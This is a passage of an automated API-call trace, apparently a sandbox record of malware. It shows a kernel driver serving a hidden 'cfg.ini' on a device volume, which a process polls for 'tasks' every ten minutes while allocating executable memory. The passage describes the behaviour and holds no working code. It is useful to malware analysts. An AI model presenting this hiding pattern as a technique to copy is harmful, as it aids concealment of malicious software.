BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d47000 [0123.842] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.842] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.842] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.842] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.842] IdePortDispatch () returned 0x103 [0123.842] KeWaitForMutexObject () returned 0x0 [0123.842] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.842] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.842] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.842] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.842] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.842] IdePortDispatch () returned 0x103 [0123.842] KeWaitForMutexObject () returned 0x0 [0123.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.842] KeLeaveCriticalRegion () [0123.842] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.843] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.843] KeEnterCriticalRegion () [0123.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.843] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.843] KeLeaveCriticalRegion () [0123.843] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.843] KeEnterCriticalRegion () [0123.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.843] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0123.843] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beecc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.843] KeLeaveCriticalRegion () [0123.843] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.843] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.843] KeEnterCriticalRegion () [0123.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.843] ExFreePoolWithTag (P=0xfffffa8003bed9a0, Tag=0x0) [0123.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.843] KeLeaveCriticalRegion () [0123.843] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.843] ReleaseMutex (hMutex=0xf0) returned 1 [0123.844] Sleep (dwMilliseconds=0x927c0) [0123.844] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.844] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.852] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.852] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.852] KeEnterCriticalRegion () [0123.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.852] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.852] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.852] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.852] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.852] IdePortDispatch () returned 0x103 [0123.853] KeWaitForMutexObject () returned 0x0 [0123.854] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.854] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.854] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.854] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.854] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.854] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beaaf0 [0123.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.854] KeLeaveCriticalRegion () [0123.854] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.854] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.854] KeEnterCriticalRegion () [0123.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.854] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.854] KeLeaveCriticalRegion () [0123.854] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.854] KeEnterCriticalRegion () [0123.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.854] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.854] IdePortDispatch () returned 0x103 [0123.854] KeWaitForMutexObject () returned 0x0 [0123.854] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.854] KeLeaveCriticalRegion () [0123.854] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.854] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.855] KeEnterCriticalRegion () [0123.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.855] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df3000 [0123.855] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.855] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.855] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.855] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.855] IdePortDispatch () returned 0x103 [0123.855] KeWaitForMutexObject () returned 0x0 [0123.855] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.855] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.855] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.855] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.855] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.855] IdePortDispatch () returned 0x103 [0123.855] KeWaitForMutexObject () returned 0x0 [0123.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.855] KeLeaveCriticalRegion () [0123.855] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.856] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.856] KeEnterCriticalRegion () [0123.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.856] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.856] KeLeaveCriticalRegion () [0123.856] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.856] KeEnterCriticalRegion () [0123.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.856] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0123.856] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.856] KeLeaveCriticalRegion () [0123.856] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.856] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.856] KeEnterCriticalRegion () [0123.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.856] ExFreePoolWithTag (P=0xfffffa8003beaaf0, Tag=0x0) [0123.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.856] KeLeaveCriticalRegion () [0123.856] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.856] ReleaseMutex (hMutex=0xf0) returned 1 [0123.857] Sleep (dwMilliseconds=0x927c0) [0123.862] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.862] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.876] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.876] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.877] KeEnterCriticalRegion () [0123.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.877] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.877] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.877] IdePortDispatch () returned 0x103 [0123.877] KeWaitForMutexObject () returned 0x0 [0123.877] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.877] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.877] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.877] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.877] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.877] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beaaf0 [0123.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.877] KeLeaveCriticalRegion () [0123.877] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.877] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.877] KeEnterCriticalRegion () [0123.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.877] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.877] KeLeaveCriticalRegion () [0123.877] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.877] KeEnterCriticalRegion () [0123.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.877] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.877] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.877] IdePortDispatch () returned 0x103 [0123.877] KeWaitForMutexObject () returned 0x0 [0123.878] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.878] KeLeaveCriticalRegion () [0123.878] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.878] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.878] KeEnterCriticalRegion () [0123.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.878] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a7000 [0123.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.878] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.878] IdePortDispatch () returned 0x103 [0123.878] KeWaitForMutexObject () returned 0x0 [0123.878] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.878] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.878] IdePortDispatch () returned 0x103 [0123.878] KeWaitForMutexObject () returned 0x0 [0123.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.878] KeLeaveCriticalRegion () [0123.878] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.879] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.879] KeEnterCriticalRegion () [0123.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.879] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.879] KeLeaveCriticalRegion () [0123.879] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.879] KeEnterCriticalRegion () [0123.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.879] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.879] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bee740, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.879] KeLeaveCriticalRegion () [0123.879] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.879] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.879] KeEnterCriticalRegion () [0123.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.879] ExFreePoolWithTag (P=0xfffffa8003beaaf0, Tag=0x0) [0123.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.879] KeLeaveCriticalRegion () [0123.879] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.879] ReleaseMutex (hMutex=0xf0) returned 1 [0123.880] Sleep (dwMilliseconds=0x927c0) [0123.894] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.895] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.895] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.895] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.895] KeEnterCriticalRegion () [0123.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.895] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.895] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.895] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.895] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.895] IdePortDispatch () returned 0x103 [0123.896] KeWaitForMutexObject () returned 0x0 [0123.897] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.897] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.897] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.897] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.897] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.897] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beee10 [0123.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.897] KeLeaveCriticalRegion () [0123.897] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.897] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.897] KeEnterCriticalRegion () [0123.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.897] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.897] KeLeaveCriticalRegion () [0123.897] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.897] KeEnterCriticalRegion () [0123.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.897] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.897] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.897] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.897] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.897] IdePortDispatch () returned 0x103 [0123.897] KeWaitForMutexObject () returned 0x0 [0123.897] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.897] KeLeaveCriticalRegion () [0123.897] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.897] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.897] KeEnterCriticalRegion () [0123.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.897] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ac000 [0123.898] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.898] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.898] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.898] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.898] IdePortDispatch () returned 0x103 [0123.898] KeWaitForMutexObject () returned 0x0 [0123.898] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.898] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.898] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.898] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.898] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.898] IdePortDispatch () returned 0x103 [0123.898] KeWaitForMutexObject () returned 0x0 [0123.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.898] KeLeaveCriticalRegion () [0123.898] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.899] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.899] KeEnterCriticalRegion () [0123.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.899] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.899] KeLeaveCriticalRegion () [0123.899] _snprintf (in: _Dest=0xfffff880028cc750, 